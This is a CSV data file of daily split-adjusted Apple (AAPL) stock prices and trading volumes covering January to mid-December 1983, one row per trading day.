-1983-01-03,0.5334821343421936,0.5401785969734192,0.5044642686843872,0.5089285969734192,0.403244286775589,28207200.0,AAPL
-1983-01-04,0.5089285969734192,0.5401785969734192,0.5,0.5379464030265808,0.4262363910675049,55927200.0,AAPL
-1983-01-05,0.5379464030265808,0.5446428656578064,0.5290178656578064,0.5401785969734192,0.42800483107566833,35386400.0,AAPL
-1983-01-06,0.5401785969734192,0.5424107313156128,0.5178571343421936,0.5200892686843872,0.4120873808860779,24449600.0,AAPL
-1983-01-07,0.5200892686843872,0.5267857313156128,0.4910714328289032,0.4910714328289032,0.3890954852104187,43013600.0,AAPL
-1983-01-10,0.4910714328289032,0.5178571343421936,0.4866071343421936,0.5133928656578064,0.40678155422210693,68835200.0,AAPL
-1983-01-11,0.5133928656578064,0.5267857313156128,0.5133928656578064,0.5200892686843872,0.4120873808860779,347200.0,AAPL
-1983-01-12,0.5267857313156128,0.5625,0.5267857313156128,0.5491071343421936,0.4350793957710266,44245600.0,AAPL
-1983-01-13,0.5491071343421936,0.5535714030265808,0.5401785969734192,0.5491071343421936,0.4350793957710266,20568800.0,AAPL
-1983-01-14,0.5513392686843872,0.5892857313156128,0.5513392686843872,0.5892857313156128,0.4669145345687866,46160800.0,AAPL
-1983-01-17,0.5892857313156128,0.6183035969734192,0.5848214030265808,0.609375,0.48283201456069946,58716000.0,AAPL
-1983-01-18,0.609375,0.6227678656578064,0.5803571343421936,0.5959821343421936,0.47222021222114563,54947200.0,AAPL
-1983-01-19,0.5959821343421936,0.6071428656578064,0.59375,0.6004464030265808,0.47575750946998596,42414400.0,AAPL
-1983-01-20,0.6004464030265808,0.6674107313156128,0.6004464030265808,0.6674107313156128,0.5288159847259521,176960000.0,AAPL
-1983-01-21,0.6674107313156128,0.6964285969734192,0.6607142686843872,0.6674107313156128,0.5288159847259521,100648800.0,AAPL
-1983-01-24,0.6674107313156128,0.6674107313156128,0.6183035969734192,0.6294642686843872,0.49874943494796753,78853600.0,AAPL
-1983-01-25,0.6294642686843872,0.6696428656578064,0.625,0.6540178656578064,0.518204391002655,41759200.0,AAPL
-1983-01-26,0.6607142686843872,0.6875,0.6607142686843872,0.6808035969734192,0.539427638053894,50803200.0,AAPL
-1983-01-27,0.6808035969734192,0.7321428656578064,0.6785714030265808,0.7276785969734192,0.5765686631202698,26079200.0,AAPL
-1983-01-28,0.7276785969734192,0.75,0.7232142686843872,0.7321428656578064,0.580105721950531,99433600.0,AAPL
-1983-01-31,0.7321428656578064,0.7433035969734192,0.7165178656578064,0.7299107313156128,0.5783371925354004,47000800.0,AAPL
-1983-02-01,0.7299107313156128,0.7455357313156128,0.71875,0.7455357313156128,0.5907176733016968,52740800.0,AAPL
-1983-02-02,0.7455357313156128,0.78125,0.734375,0.765625,0.6066350340843201,66763200.0,AAPL
-1983-02-03,0.765625,0.7991071343421936,0.7589285969734192,0.796875,0.6313956379890442,63134400.0,AAPL
-1983-02-04,0.796875,0.8102678656578064,0.7834821343421936,0.7857142686843872,0.6225529313087463,53586400.0,AAPL
-1983-02-07,0.7857142686843872,0.796875,0.7410714030265808,0.7544642686843872,0.5977920889854431,35728000.0,AAPL
-1983-02-08,0.7544642686843872,0.765625,0.7388392686843872,0.7477678656578064,0.5924861431121826,42028000.0,AAPL
-1983-02-09,0.7477678656578064,0.7589285969734192,0.7276785969734192,0.7544642686843872,0.5977920889854431,45203200.0,AAPL
-1983-02-10,0.7544642686843872,0.8080357313156128,0.7544642686843872,0.8035714030265808,0.6367017030715942,59180800.0,AAPL
-1983-02-11,0.8102678656578064,0.84375,0.8102678656578064,0.8303571343421936,0.6579248905181885,50887200.0,AAPL
-1983-02-14,0.8303571343421936,0.8303571343421936,0.8058035969734192,0.8258928656578064,0.6543876528739929,31544800.0,AAPL
-1983-02-15,0.8258928656578064,0.8325892686843872,0.8013392686843872,0.8102678656578064,0.6420073509216309,28795200.0,AAPL
-1983-02-16,0.8102678656578064,0.8102678656578064,0.7901785969734192,0.7946428656578064,0.6296273469924927,29142400.0,AAPL
-1983-02-17,0.7946428656578064,0.7946428656578064,0.7611607313156128,0.7857142686843872,0.6225529313087463,34042400.0,AAPL
-1983-02-18,0.7857142686843872,0.8191964030265808,0.7767857313156128,0.8102678656578064,0.6420073509216309,28722400.0,AAPL
-1983-02-22,0.8147321343421936,0.8526785969734192,0.8147321343421936,0.8303571343421936,0.6579248905181885,49196000.0,AAPL
-1983-02-23,0.8303571343421936,0.8415178656578064,0.8236607313156128,0.8370535969734192,0.6632309556007385,27008800.0,AAPL
-1983-02-24,0.84375,0.8638392686843872,0.84375,0.859375,0.6809169054031372,28873600.0,AAPL
-1983-02-25,0.859375,0.8683035969734192,0.8303571343421936,0.8348214030265808,0.6614620685577393,28672000.0,AAPL
-1983-02-28,0.8348214030265808,0.8370535969734192,0.8125,0.8147321343421936,0.6455446481704712,33073600.0,AAPL
-1983-03-01,0.8147321343421936,0.8325892686843872,0.8125,0.828125,0.6561563014984131,35067200.0,AAPL
-1983-03-02,0.828125,0.8392857313156128,0.8258928656578064,0.8348214030265808,0.6614620685577393,26488000.0,AAPL
-1983-03-03,0.8348214030265808,0.84375,0.8058035969734192,0.8080357313156128,0.6402387619018555,32883200.0,AAPL
-1983-03-04,0.8080357313156128,0.8102678656578064,0.7723214030265808,0.796875,0.6313956379890442,37951200.0,AAPL
-1983-03-07,0.796875,0.7991071343421936,0.7589285969734192,0.78125,0.6190153956413269,38169600.0,AAPL
-1983-03-08,0.7767857313156128,0.7767857313156128,0.7455357313156128,0.7566964030265808,0.5995606184005737,55160000.0,AAPL
-1983-03-09,0.7566964030265808,0.7790178656578064,0.7433035969734192,0.7790178656578064,0.6172467470169067,49834400.0,AAPL
-1983-03-10,0.7790178656578064,0.7879464030265808,0.7611607313156128,0.7678571343421936,0.6084038019180298,28151200.0,AAPL
-1983-03-11,0.7678571343421936,0.78125,0.7388392686843872,0.7566964030265808,0.5995606184005737,21940800.0,AAPL
-1983-03-14,0.7544642686843872,0.7544642686843872,0.7209821343421936,0.7388392686843872,0.585411787033081,42968800.0,AAPL
-1983-03-15,0.7388392686843872,0.75,0.7165178656578064,0.75,0.5942549109458923,18765600.0,AAPL
-1983-03-16,0.75,0.7767857313156128,0.7455357313156128,0.75,0.5942549109458923,27742400.0,AAPL
-1983-03-17,0.75,0.7566964030265808,0.7477678656578064,0.7566964030265808,0.5995606184005737,11037600.0,AAPL
-1983-03-18,0.7566964030265808,0.7767857313156128,0.7544642686843872,0.7678571343421936,0.6084038019180298,21532000.0,AAPL
-1983-03-21,0.7678571343421936,0.7879464030265808,0.7633928656578064,0.7857142686843872,0.6225529313087463,26006400.0,AAPL
-1983-03-22,0.7857142686843872,0.8058035969734192,0.7857142686843872,0.7946428656578064,0.6296273469924927,25250400.0,AAPL
-1983-03-23,0.7946428656578064,0.796875,0.7544642686843872,0.7566964030265808,0.5995606184005737,35190400.0,AAPL
-1983-03-24,0.7566964030265808,0.7790178656578064,0.7544642686843872,0.7700892686843872,0.6101722121238708,25614400.0,AAPL
-1983-03-25,0.7700892686843872,0.7834821343421936,0.7678571343421936,0.7700892686843872,0.6101722121238708,14515200.0,AAPL
-1983-03-28,0.7678571343421936,0.7678571343421936,0.7455357313156128,0.7589285969734192,0.6013292670249939,18642400.0,AAPL
-1983-03-29,0.7611607313156128,0.7879464030265808,0.7611607313156128,0.78125,0.6190153956413269,25933600.0,AAPL
-1983-03-30,0.78125,0.7924107313156128,0.78125,0.7901785969734192,0.6260899305343628,21952000.0,AAPL
-1983-03-31,0.7901785969734192,0.7946428656578064,0.7544642686843872,0.7544642686843872,0.5977920889854431,21285600.0,AAPL
-1983-04-04,0.7544642686843872,0.7544642686843872,0.7165178656578064,0.734375,0.5818744897842407,31847200.0,AAPL
-1983-04-05,0.734375,0.75,0.7209821343421936,0.7209821343421936,0.5712627172470093,30525600.0,AAPL
-1983-04-06,0.7209821343421936,0.7232142686843872,0.7053571343421936,0.7142857313156128,0.5659568309783936,53496800.0,AAPL
-1983-04-07,0.7142857313156128,0.71875,0.703125,0.7075892686843872,0.5606513023376465,36377600.0,AAPL
-1983-04-08,0.7075892686843872,0.7120535969734192,0.6897321343421936,0.703125,0.5571138858795166,37564800.0,AAPL
-1983-04-11,0.703125,0.7477678656578064,0.6919642686843872,0.7433035969734192,0.5889487862586975,57618400.0,AAPL
-1983-04-12,0.7433035969734192,0.7611607313156128,0.7433035969734192,0.7589285969734192,0.6013292670249939,43512000.0,AAPL
-1983-04-13,0.7589285969734192,0.7879464030265808,0.7589285969734192,0.7857142686843872,0.6225529313087463,47443200.0,AAPL
-1983-04-14,0.7857142686843872,0.8058035969734192,0.7790178656578064,0.8035714030265808,0.6367017030715942,34092800.0,AAPL
-1983-04-15,0.8035714030265808,0.8236607313156128,0.8035714030265808,0.8169642686843872,0.6473131775856018,28750400.0,AAPL
-1983-04-18,0.8214285969734192,0.8549107313156128,0.8214285969734192,0.8392857313156128,0.6649993062019348,38892000.0,AAPL
-1983-04-19,0.8392857313156128,0.8459821343421936,0.8258928656578064,0.8303571343421936,0.6579248905181885,58469600.0,AAPL
-1983-04-20,0.8303571343421936,0.9107142686843872,0.8303571343421936,0.9040178656578064,0.716289222240448,72083200.0,AAPL
-1983-04-21,0.9151785969734192,0.9419642686843872,0.9151785969734192,0.9285714030265808,0.7357439994812012,57512000.0,AAPL
-1983-04-22,0.9285714030265808,0.9375,0.90625,0.9107142686843872,0.7215952277183533,31796800.0,AAPL
-1983-04-25,0.9107142686843872,0.9174107313156128,0.8638392686843872,0.8683035969734192,0.6879913210868835,31427200.0,AAPL
-1983-04-26,0.8683035969734192,0.9040178656578064,0.8660714030265808,0.8928571343421936,0.7074460387229919,24858400.0,AAPL
-1983-04-27,0.8928571343421936,0.9129464030265808,0.875,0.8839285969734192,0.7003716826438904,21509600.0,AAPL
-1983-04-28,0.8839285969734192,0.8973214030265808,0.8727678656578064,0.8928571343421936,0.7074460387229919,19852000.0,AAPL
-1983-04-29,0.8928571343421936,0.90625,0.8816964030265808,0.9017857313156128,0.7145205736160278,77078400.0,AAPL
-1983-05-02,0.9017857313156128,0.90625,0.8638392686843872,0.875,0.6932973265647888,24270400.0,AAPL
-1983-05-03,0.875,0.8772321343421936,0.8504464030265808,0.8660714030265808,0.6862226724624634,26499200.0,AAPL
-1983-05-04,0.8660714030265808,0.9196428656578064,0.8660714030265808,0.9196428656578064,0.7286695241928101,32278400.0,AAPL
-1983-05-05,0.9196428656578064,0.9821428656578064,0.9196428656578064,0.9799107313156128,0.7764222621917725,35123200.0,AAPL
-1983-05-06,0.9799107313156128,0.9955357313156128,0.9598214030265808,0.984375,0.7799595594406128,25037600.0,AAPL
-1983-05-09,0.984375,0.9866071343421936,0.9620535969734192,0.9709821343421936,0.7693477869033813,17292800.0,AAPL
-1983-05-10,0.9709821343421936,0.9888392686843872,0.9665178656578064,0.9776785969734192,0.7746536731719971,12975200.0,AAPL
-1983-05-11,0.9776785969734192,0.9821428656578064,0.9464285969734192,0.953125,0.7551987767219543,13815200.0,AAPL
-1983-05-12,0.953125,0.953125,0.9352678656578064,0.9441964030265808,0.7481241822242737,24606400.0,AAPL
-1983-05-13,0.9441964030265808,0.9575892686843872,0.9441964030265808,0.9486607313156128,0.7516617774963379,12241600.0,AAPL
-1983-05-16,0.9486607313156128,0.9486607313156128,0.9196428656578064,0.9241071343421936,0.7322067022323608,17298400.0,AAPL
-1983-05-17,0.9241071343421936,0.9285714030265808,0.9129464030265808,0.9263392686843872,0.7339754104614258,38589600.0,AAPL
-1983-05-18,0.9263392686843872,0.9464285969734192,0.9263392686843872,0.9375,0.7428186535835266,39250400.0,AAPL
-1983-05-19,0.9375,0.96875,0.9375,0.9665178656578064,0.7658106088638306,17572800.0,AAPL
-1983-05-20,0.9665178656578064,1.0178571939468384,0.953125,1.015625,0.8047200441360474,36523200.0,AAPL
-1983-05-23,1.015625,1.0267857313156128,0.9955357313156128,1.0267857313156128,0.8135631084442139,30436000.0,AAPL
-1983-05-24,1.0267857313156128,1.0803571939468384,1.0267857313156128,1.0803571939468384,0.8560096621513367,26924800.0,AAPL
-1983-05-25,1.0803571939468384,1.0892857313156128,1.0558035373687744,1.0714285373687744,0.8489351868629456,38432800.0,AAPL
-1983-05-26,1.0714285373687744,1.078125,1.0513392686843872,1.0602678060531616,0.8400923609733582,26392800.0,AAPL
-1983-05-27,1.0602678060531616,1.0714285373687744,1.0558035373687744,1.0602678060531616,0.8400923609733582,14156800.0,AAPL
-1983-05-31,1.0580357313156128,1.0580357313156128,1.0111607313156128,1.03125,0.8171005845069885,11384800.0,AAPL
-1983-06-01,1.03125,1.0401785373687744,1.0223214626312256,1.0379464626312256,0.8224060535430908,24522400.0,AAPL
-1983-06-02,1.0379464626312256,1.0446428060531616,1.03125,1.0446428060531616,0.8277120590209961,19857600.0,AAPL
-1983-06-03,1.0446428060531616,1.1004464626312256,1.0446428060531616,1.0959821939468384,0.8683898448944092,16133600.0,AAPL
-1983-06-06,1.0959821939468384,1.1205357313156128,1.0959821939468384,1.1205357313156128,0.8878449201583862,26023200.0,AAPL
-1983-06-07,1.1205357313156128,1.1294642686843872,1.0825892686843872,1.0825892686843872,0.8577783703804016,24544800.0,AAPL
-1983-06-08,1.0825892686843872,1.0870535373687744,1.0602678060531616,1.0691964626312256,0.8471667170524597,21011200.0,AAPL
-1983-06-09,1.0691964626312256,1.0803571939468384,1.0424107313156128,1.0625,0.841860830783844,13697600.0,AAPL
-1983-06-10,1.0625,1.0691964626312256,1.0558035373687744,1.0580357313156128,0.8383237719535828,9357600.0,AAPL
-1983-06-13,1.0580357313156128,1.0602678060531616,0.9821428656578064,1.0223214626312256,0.8100259304046631,44816800.0,AAPL
-1983-06-14,1.0223214626312256,1.03125,0.9955357313156128,1.0,0.7923398017883301,42632800.0,AAPL
-1983-06-15,0.9977678656578064,0.9977678656578064,0.9508928656578064,0.9709821343421936,0.7693477869033813,48339200.0,AAPL
-1983-06-16,0.9754464030265808,1.0223214626312256,0.9754464030265808,1.0223214626312256,0.8100259304046631,30721600.0,AAPL
-1983-06-17,1.0223214626312256,1.0267857313156128,1.0022321939468384,1.0022321939468384,0.7941083908081055,14011200.0,AAPL
-1983-06-20,1.0022321939468384,1.0089285373687744,0.9441964030265808,0.953125,0.7551987767219543,34893600.0,AAPL
-1983-06-21,0.953125,0.9642857313156128,0.9352678656578064,0.9598214030265808,0.7605045437812805,31365600.0,AAPL
-1983-06-22,0.9620535969734192,0.9933035969734192,0.9620535969734192,0.9888392686843872,0.7834967374801636,35240800.0,AAPL
-1983-06-23,0.984375,0.984375,0.9553571343421936,0.9575892686843872,0.7587360143661499,33499200.0,AAPL
-1983-06-24,0.9575892686843872,0.9709821343421936,0.9486607313156128,0.9508928656578064,0.7534303069114685,11911200.0,AAPL
-1983-06-27,0.9508928656578064,0.9508928656578064,0.8995535969734192,0.8995535969734192,0.7127519249916077,30760800.0,AAPL
-1983-06-28,0.8995535969734192,0.9040178656578064,0.8303571343421936,0.8370535969734192,0.6632309556007385,87292800.0,AAPL
-1983-06-29,0.8370535969734192,0.8861607313156128,0.8169642686843872,0.8772321343421936,0.695065975189209,73595200.0,AAPL
-1983-06-30,0.8772321343421936,0.8928571343421936,0.8683035969734192,0.8727678656578064,0.691528856754303,27641600.0,AAPL
-1983-07-01,0.8727678656578064,0.8883928656578064,0.8683035969734192,0.8794642686843872,0.6968344449996948,43064000.0,AAPL
-1983-07-05,0.8794642686843872,0.8816964030265808,0.8415178656578064,0.84375,0.6685365438461304,20512800.0,AAPL
-1983-07-06,0.84375,0.8482142686843872,0.828125,0.8459821343421936,0.6703051924705505,23979200.0,AAPL
-1983-07-07,0.8459821343421936,0.8482142686843872,0.8303571343421936,0.8348214030265808,0.6614620685577393,22360800.0,AAPL
-1983-07-08,0.8348214030265808,0.8348214030265808,0.8214285969734192,0.8258928656578064,0.6543876528739929,17544800.0,AAPL
-1983-07-11,0.8258928656578064,0.8616071343421936,0.8258928656578064,0.8482142686843872,0.6720736622810364,28229600.0,AAPL
-1983-07-12,0.8482142686843872,0.8571428656578064,0.8236607313156128,0.828125,0.6561563014984131,18799200.0,AAPL
-1983-07-13,0.828125,0.8303571343421936,0.8102678656578064,0.8236607313156128,0.6526190638542175,32250400.0,AAPL
-1983-07-14,0.8236607313156128,0.8370535969734192,0.8169642686843872,0.8214285969734192,0.6508504152297974,18726400.0,AAPL
-1983-07-15,0.8214285969734192,0.8214285969734192,0.7879464030265808,0.7924107313156128,0.6278585195541382,16990400.0,AAPL
-1983-07-18,0.7924107313156128,0.7946428656578064,0.7723214030265808,0.7901785969734192,0.6260899305343628,20406400.0,AAPL
-1983-07-19,0.7901785969734192,0.828125,0.7745535969734192,0.78125,0.6190153956413269,42784000.0,AAPL
-1983-07-20,0.78125,0.7879464030265808,0.7276785969734192,0.7366071343421936,0.5836432576179504,76221600.0,AAPL
-1983-07-21,0.7366071343421936,0.7924107313156128,0.7321428656578064,0.7745535969734192,0.6137096285820007,79346400.0,AAPL
-1983-07-22,0.7745535969734192,0.7834821343421936,0.7723214030265808,0.78125,0.6190153956413269,29108800.0,AAPL
-1983-07-25,0.78125,0.78125,0.7589285969734192,0.7700892686843872,0.6101722121238708,19107200.0,AAPL
-1983-07-26,0.7700892686843872,0.7745535969734192,0.6696428656578064,0.6986607313156128,0.5535765290260315,67244800.0,AAPL
-1983-07-27,0.6986607313156128,0.7209821343421936,0.6383928656578064,0.6473214030265808,0.5128983855247498,75079200.0,AAPL
-1983-07-28,0.6473214030265808,0.65625,0.6071428656578064,0.6071428656578064,0.4810633361339569,67620000.0,AAPL
-1983-07-29,0.6071428656578064,0.6294642686843872,0.6049107313156128,0.6227678656578064,0.4934438169002533,55081600.0,AAPL
-1983-08-01,0.6227678656578064,0.6495535969734192,0.6116071343421936,0.6160714030265808,0.4881376624107361,58111200.0,AAPL
-1983-08-02,0.6160714030265808,0.625,0.6116071343421936,0.6138392686843872,0.48636937141418457,25412800.0,AAPL
-1983-08-03,0.6138392686843872,0.6361607313156128,0.6049107313156128,0.6227678656578064,0.4934438169002533,30956800.0,AAPL
-1983-08-04,0.6227678656578064,0.6294642686843872,0.5669642686843872,0.59375,0.47045162320137024,73029600.0,AAPL
-1983-08-05,0.59375,0.6160714030265808,0.5892857313156128,0.6049107313156128,0.47929471731185913,32855200.0,AAPL
-1983-08-08,0.6049107313156128,0.6205357313156128,0.5915178656578064,0.6071428656578064,0.4810633361339569,19202400.0,AAPL
-1983-08-09,0.6071428656578064,0.6227678656578064,0.6026785969734192,0.6138392686843872,0.48636937141418457,37592800.0,AAPL
-1983-08-10,0.6138392686843872,0.6183035969734192,0.5982142686843872,0.6116071343421936,0.4846007823944092,40493600.0,AAPL
-1983-08-11,0.6116071343421936,0.6205357313156128,0.59375,0.6026785969734192,0.4775262176990509,22545600.0,AAPL
-1983-08-12,0.6026785969734192,0.6160714030265808,0.5915178656578064,0.5982142686843872,0.4739888608455658,18659200.0,AAPL
-1983-08-15,0.5982142686843872,0.6138392686843872,0.5959821343421936,0.6138392686843872,0.48636937141418457,38068800.0,AAPL
-1983-08-16,0.6138392686843872,0.6205357313156128,0.5982142686843872,0.6049107313156128,0.47929471731185913,22842400.0,AAPL
-1983-08-17,0.6049107313156128,0.6116071343421936,0.5848214030265808,0.5915178656578064,0.4686829745769501,23609600.0,AAPL
-1983-08-18,0.5915178656578064,0.6049107313156128,0.5892857313156128,0.5982142686843872,0.4739888608455658,20434400.0,AAPL
-1983-08-19,0.5982142686843872,0.6071428656578064,0.59375,0.6026785969734192,0.4775262176990509,14649600.0,AAPL
-1983-08-22,0.6026785969734192,0.609375,0.59375,0.6004464030265808,0.47575750946998596,21341600.0,AAPL
-1983-08-23,0.6004464030265808,0.6004464030265808,0.5647321343421936,0.5691964030265808,0.45099684596061707,23396800.0,AAPL
-1983-08-24,0.5669642686843872,0.5669642686843872,0.5379464030265808,0.5401785969734192,0.42800483107566833,28324800.0,AAPL
-1983-08-25,0.5401785969734192,0.5491071343421936,0.5357142686843872,0.5446428656578064,0.4315420687198639,47443200.0,AAPL
-1983-08-26,0.5446428656578064,0.5535714030265808,0.5401785969734192,0.5513392686843872,0.4368479549884796,23296000.0,AAPL
-1983-08-29,0.5513392686843872,0.5647321343421936,0.5357142686843872,0.5580357313156128,0.4421537220478058,34574400.0,AAPL
-1983-08-30,0.5580357313156128,0.5982142686843872,0.5580357313156128,0.5870535969734192,0.46514588594436646,58486400.0,AAPL
-1983-08-31,0.5915178656578064,0.6651785969734192,0.5915178656578064,0.6651785969734192,0.5270476341247559,50058400.0,AAPL
-1983-09-01,0.6651785969734192,0.6875,0.6339285969734192,0.6495535969734192,0.5146671533584595,54532800.0,AAPL
-1983-09-02,0.6495535969734192,0.6785714030265808,0.6473214030265808,0.6785714030265808,0.5376592874526978,32334400.0,AAPL
-1983-09-06,0.6919642686843872,0.7098214030265808,0.6919642686843872,0.703125,0.5571138858795166,45421600.0,AAPL
-1983-09-07,0.7008928656578064,0.7008928656578064,0.6049107313156128,0.6183035969734192,0.48990654945373535,96213600.0,AAPL
-1983-09-08,0.6183035969734192,0.625,0.5580357313156128,0.5669642686843872,0.44922828674316406,76764800.0,AAPL
-1983-09-09,0.5669642686843872,0.5691964030265808,0.5446428656578064,0.546875,0.4333106577396393,53172000.0,AAPL
-1983-09-12,0.546875,0.5803571343421936,0.5401785969734192,0.546875,0.4333106577396393,66578400.0,AAPL
-1983-09-13,0.546875,0.5803571343421936,0.5424107313156128,0.5714285969734192,0.4527655839920044,51044000.0,AAPL
-1983-09-14,0.5714285969734192,0.5848214030265808,0.5535714030265808,0.5647321343421936,0.44745975732803345,45382400.0,AAPL
-1983-09-15,0.5647321343421936,0.5669642686843872,0.53125,0.5379464030265808,0.4262363910675049,39709600.0,AAPL
-1983-09-16,0.5379464030265808,0.5379464030265808,0.5200892686843872,0.5245535969734192,0.4156246483325958,56436800.0,AAPL
-1983-09-19,0.5245535969734192,0.5758928656578064,0.5223214030265808,0.5714285969734192,0.4527655839920044,50495200.0,AAPL
-1983-09-20,0.5714285969734192,0.5982142686843872,0.5714285969734192,0.5736607313156128,0.4545341432094574,56604800.0,AAPL
-1983-09-21,0.5736607313156128,0.5825892686843872,0.5602678656578064,0.5625,0.4456910490989685,26588800.0,AAPL
-1983-09-22,0.5625,0.5825892686843872,0.5558035969734192,0.5803571343421936,0.4598398804664612,36030400.0,AAPL
-1983-09-23,0.4464285671710968,0.4464285671710968,0.3973214328289032,0.4330357015132904,0.3431113362312317,708086400.0,AAPL
-1983-09-26,0.4352678656578064,0.4620535671710968,0.4352678656578064,0.4441964328289032,0.35195446014404297,192192000.0,AAPL
-1983-09-27,0.4441964328289032,0.4464285671710968,0.4107142984867096,0.4196428656578064,0.3324996531009674,104277600.0,AAPL
-1983-09-28,0.4196428656578064,0.4196428656578064,0.3950892984867096,0.4084821343421936,0.3236565887928009,93374400.0,AAPL
-1983-09-29,0.4084821343421936,0.4241071343421936,0.4040178656578064,0.40625,0.32188811898231506,70694400.0,AAPL
-1983-09-30,0.40625,0.421875,0.4017857015132904,0.4129464328289032,0.32719382643699646,29467200.0,AAPL
-1983-10-03,0.4129464328289032,0.4196428656578064,0.4040178656578064,0.4129464328289032,0.32719382643699646,38225600.0,AAPL
-1983-10-04,0.4129464328289032,0.421875,0.40625,0.4084821343421936,0.3236565887928009,42403200.0,AAPL
-1983-10-05,0.4084821343421936,0.4151785671710968,0.3950892984867096,0.4017857015132904,0.3183508515357971,47667200.0,AAPL
-1983-10-06,0.4017857015132904,0.4084821343421936,0.3883928656578064,0.3973214328289032,0.31481367349624634,58234400.0,AAPL
-1983-10-07,0.3973214328289032,0.4241071343421936,0.359375,0.3638392984867096,0.2882843315601349,61583200.0,AAPL
-1983-10-10,0.359375,0.359375,0.328125,0.3526785671710968,0.2794412672519684,129281600.0,AAPL
-1983-10-11,0.3526785671710968,0.3549107015132904,0.3415178656578064,0.3459821343421936,0.27413538098335266,63190400.0,AAPL
-1983-10-12,0.3459821343421936,0.3794642984867096,0.34375,0.3772321343421936,0.29889604449272156,118154400.0,AAPL
-1983-10-13,0.3883928656578064,0.4285714328289032,0.3883928656578064,0.4107142984867096,0.3254252076148987,105128800.0,AAPL
-1983-10-14,0.4107142984867096,0.4241071343421936,0.4017857015132904,0.40625,0.32188811898231506,69815200.0,AAPL
-1983-10-17,0.40625,0.40625,0.3727678656578064,0.375,0.29712745547294617,54779200.0,AAPL
-1983-10-18,0.3705357015132904,0.3705357015132904,0.3370535671710968,0.3459821343421936,0.27413538098335266,95743200.0,AAPL
-1983-10-19,0.3459821343421936,0.3973214328289032,0.3415178656578064,0.3839285671710968,0.3042019009590149,71848000.0,AAPL
-1983-10-20,0.3839285671710968,0.3950892984867096,0.3549107015132904,0.3638392984867096,0.2882843315601349,32922400.0,AAPL
-1983-10-21,0.3638392984867096,0.3727678656578064,0.3504464328289032,0.3549107015132904,0.2812098264694214,39250400.0,AAPL
-1983-10-24,0.3549107015132904,0.3772321343421936,0.3191964328289032,0.3772321343421936,0.29889604449272156,64848000.0,AAPL
-1983-10-25,0.3772321343421936,0.390625,0.375,0.3794642984867096,0.30066463351249695,42112000.0,AAPL
-1983-10-26,0.3794642984867096,0.3839285671710968,0.3571428656578064,0.359375,0.2847471237182617,32228000.0,AAPL
-1983-10-27,0.359375,0.3861607015132904,0.359375,0.3772321343421936,0.29889604449272156,24460800.0,AAPL
-1983-10-28,0.3772321343421936,0.3816964328289032,0.3638392984867096,0.3727678656578064,0.2953588366508484,20300000.0,AAPL
-1983-10-31,0.3772321343421936,0.4107142984867096,0.3772321343421936,0.4040178656578064,0.32011938095092773,43293600.0,AAPL
-1983-11-01,0.4040178656578064,0.4285714328289032,0.3861607015132904,0.4107142984867096,0.3254252076148987,82096000.0,AAPL
-1983-11-02,0.4107142984867096,0.4308035671710968,0.4107142984867096,0.4196428656578064,0.3324996531009674,50618400.0,AAPL
-1983-11-03,0.4196428656578064,0.421875,0.375,0.390625,0.30950769782066345,71500800.0,AAPL
-1983-11-04,0.390625,0.3928571343421936,0.375,0.3772321343421936,0.29889604449272156,36685600.0,AAPL
-1983-11-07,0.3772321343421936,0.3861607015132904,0.3705357015132904,0.375,0.29712745547294617,38029600.0,AAPL
-1983-11-08,0.3482142984867096,0.3482142984867096,0.3080357015132904,0.3191964328289032,0.25291192531585693,305379200.0,AAPL
-1983-11-09,0.3191964328289032,0.34375,0.3125,0.34375,0.2723669409751892,88368000.0,AAPL
-1983-11-10,0.34375,0.359375,0.34375,0.3504464328289032,0.277672678232193,55518400.0,AAPL
-1983-11-11,0.3504464328289032,0.3638392984867096,0.3482142984867096,0.3571428656578064,0.2829784154891968,29008000.0,AAPL
-1983-11-14,0.3571428656578064,0.3616071343421936,0.3504464328289032,0.3526785671710968,0.2794412672519684,27070400.0,AAPL
-1983-11-15,0.3526785671710968,0.3549107015132904,0.3392857015132904,0.3526785671710968,0.2794412672519684,29657600.0,AAPL
-1983-11-16,0.3526785671710968,0.3660714328289032,0.3504464328289032,0.3571428656578064,0.2829784154891968,25569600.0,AAPL
-1983-11-17,0.3571428656578064,0.3705357015132904,0.3571428656578064,0.3660714328289032,0.2900528609752655,22596000.0,AAPL
-1983-11-18,0.3660714328289032,0.3727678656578064,0.3616071343421936,0.3683035671710968,0.2918216288089752,19975200.0,AAPL
-1983-11-21,0.3683035671710968,0.3861607015132904,0.3683035671710968,0.3839285671710968,0.3042019009590149,26252800.0,AAPL
-1983-11-22,0.3839285671710968,0.3883928656578064,0.3794642984867096,0.3839285671710968,0.3042019009590149,26297600.0,AAPL
-1983-11-23,0.3839285671710968,0.3839285671710968,0.3571428656578064,0.3638392984867096,0.2882843315601349,28588000.0,AAPL
-1983-11-25,0.3638392984867096,0.3683035671710968,0.3638392984867096,0.3660714328289032,0.2900528609752655,9324000.0,AAPL
-1983-11-28,0.3660714328289032,0.3772321343421936,0.3638392984867096,0.375,0.29712745547294617,18099200.0,AAPL
-1983-11-29,0.375,0.3839285671710968,0.3660714328289032,0.3705357015132904,0.2935902178287506,23822400.0,AAPL
-1983-11-30,0.3705357015132904,0.375,0.3638392984867096,0.3638392984867096,0.2882843315601349,16083200.0,AAPL
-1983-12-01,0.3638392984867096,0.3727678656578064,0.3571428656578064,0.3616071343421936,0.28651583194732666,19168800.0,AAPL
-1983-12-02,0.3616071343421936,0.3616071343421936,0.3526785671710968,0.3549107015132904,0.2812098264694214,21341600.0,AAPL
-1983-12-05,0.3549107015132904,0.3660714328289032,0.3526785671710968,0.3638392984867096,0.2882843315601349,11289600.0,AAPL
-1983-12-06,0.3638392984867096,0.3683035671710968,0.3616071343421936,0.3660714328289032,0.2900528609752655,12997600.0,AAPL
-1983-12-07,0.3660714328289032,0.3839285671710968,0.3616071343421936,0.375,0.29712745547294617,22288000.0,AAPL
-1983-12-08,0.375,0.3950892984867096,0.375,0.3839285671710968,0.3042019009590149,34406400.0,AAPL
-1983-12-09,0.3839285671710968,0.3950892984867096,0.3794642984867096,0.3861607015132904,0.3059704303741455,20692000.0,AAPL
-1983-12-12,0.3861607015132904,0.3883928656578064,0.375,0.3839285671710968,0.3042019009590149,16284800.0,AAPL
-1983-12-13,0.3839285671710968,0.40625,0.3816964328289032,0.4017857015132904,0.3183508515357971,49386400.0,AAPL
-1983-12-14,0.4017857015132904,0.421875,0.3861607015132904,0.4174107015132904,0.33073103427886963,50472800.0,AAPL
-1983-12-15,0.4174107015132904,0.4419642984867096,0.4174107015132904,0.4352678656578064,0.34488004446029663,79150400.0,AAPL
-1983-12-16,0.4352678656578064,0.4464285671710968,0.4330357015132904,0.4419642984867096,0.3501858413219452,46216800.0,AAPL
